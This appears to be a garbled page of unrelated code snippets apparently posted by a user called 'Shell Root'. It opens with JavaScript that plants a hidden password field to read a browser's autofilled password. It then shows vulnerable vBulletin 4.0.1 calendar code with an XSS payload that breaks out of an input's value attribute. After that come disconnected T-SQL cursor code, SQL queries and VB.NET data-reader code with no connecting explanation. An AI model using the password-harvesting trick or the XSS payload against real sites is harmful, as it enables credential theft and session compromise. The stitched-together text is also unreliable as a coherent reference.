<script>
   document.write('<form><input id=p type=password style=visibility:hidden></form>');
   setTimeout('alert("Password: " + document.getElementById("p").value)', 100);
</script>

<?php
  function replace_sh($strTexto){
    echo str_replace(">","[No]",str_replace("<","[No]",$strTexto));//Resultado
  }//End Function
?>

<h1>Shell Root</h1>

[No]h1[No]Shell Root[No]/h1[No]

XSS vBulletin 4.0.1

By: Shell Root

		$db->query_write("
			INSERT INTO " . TABLE_PREFIX . "calendarcustomfield
			(
				calendarid,
				title,
				options,
				allowentry,
				required,
				length,
				description
			)
			VALUES
			(" .
				$vbulletin->GPC['calendarid'] .", '" .
				$db->escape_string($vbulletin->GPC['title']) . "', '" .
				$db->escape_string($vbulletin->GPC['options']) . "', " .
				$vbulletin->GPC['allowentry'] . ", " .
				$vbulletin->GPC['required'] . ", " .
				$vbulletin->GPC['length'] . ", '" .
				$db->escape_string($vbulletin->GPC['description']) . "'
			)
		");
	}

	function escape_string($string)
	{
		if ($this->functions['escape_string'] == $this->functions['real_escape_string'])
		{
			return $this->functions['escape_string']($string, $this->connection_master);
		}
		else
		{
			return $this->functions['escape_string']($string);
		}
	}

<input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value="" size="35" dir="ltr" tabindex="1" type="text">

"><script>alert(/XSS/)</script>

<input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value=""><script>alert(/XSS/)</script>" size="35" dir="ltr" tabindex="1" type="text">

SELECT [intID], [intIDFormato]
  FROM [tblMaterial]
  WHERE (intIDFormato = 1) AND (bitEstado= 'True') -- Aqui son condiciones obligatorias
  AND (strTitulo LIKE '%') OR (intIDAutor = '') OR (intIDArea = '')

SELECT [intID], [intIDFormato]
  FROM [tblMaterial]
  WHERE (intIDFormato = 1) AND (bitEstado= 'True') -- Aqui son condiciones obligatorias
  AND (strTitulo LIKE '%') OR (intIDAutor = '1') OR (intIDArea = '')

intID	intIDFormato
2	4

2
10

10
10

 
	--Variables de recepcion de datos
		DECLARE @intIDSanciones INT
 
	--Declaración del Cursor
		DECLARE curSanciones CURSOR FOR SELECT intID FROM dbo.tblSanciones WHERE (bitEstado = 'True') AND (dateFechaLimite = CONVERT(VARCHAR(10),DATEADD(DAY,-1,GETDATE()),101))
		OPEN curSanciones
 
			FETCH NEXT FROM curSanciones INTO @intIDSanciones
 
			WHILE (@@FETCH_STATUS = 0)
			BEGIN
				FETCH NEXT FROM curSanciones INTO @intIDSanciones
				BEGIN TRANSACTION Acciones
				-- Mostrar Sanciones
					PRINT @intIDSanciones
				-- Fin Mostrar Sanciones
				COMMIT TRANSACTION Acciones
			END
		CLOSE curSanciones
		DEALLOCATE curSanciones

	--Variables de recepcion de datos
		DECLARE @intIDSanciones INT
 
	--Declaración del Cursor
		DECLARE curSanciones CURSOR FOR SELECT intID FROM tblSanciones WHERE (bitEstado = 'True') AND (dateFechaLimite = CONVERT(VARCHAR(10),DATEADD(DAY,-1,GETDATE()),101))
		OPEN curSanciones
 
			FETCH NEXT FROM curSanciones INTO @intIDSanciones
 
			WHILE (@@FETCH_STATUS = 0)
			BEGIN
				--BEGIN TRANSACTION Acciones
				-- Mostrar Sanciones
					SELECT @intIDSanciones
					FETCH NEXT FROM curSanciones INTO @intIDSanciones
				-- Fin Mostrar Sanciones
				--COMMIT TRANSACTION Acciones
			END
		CLOSE curSanciones
		DEALLOCATE curSanciones

SELECT COUNT(intIDUsuario) FROM dbo.tblReservas WHERE (intIDUsuario = '1') AND (Estado = 'Activo')

SELECT [strIdentificacion], [strNombre], [strApellido]
  FROM [Knowledge].[dbo].[tblUsuario]

strCmd = New SqlCommand(strSql, strcnn)
 
strDr = strCmd.ExecuteReader
If strSqlDataReader.Read Then
   txtIdentificacion.Text = strSqlDataReader("strIdentificacion").ToString()
   txtNombre.Text = strSqlDataReader("strNombre").ToString()
   txtApellido.Text = strSqlDataReader("strApellido").ToString()
End If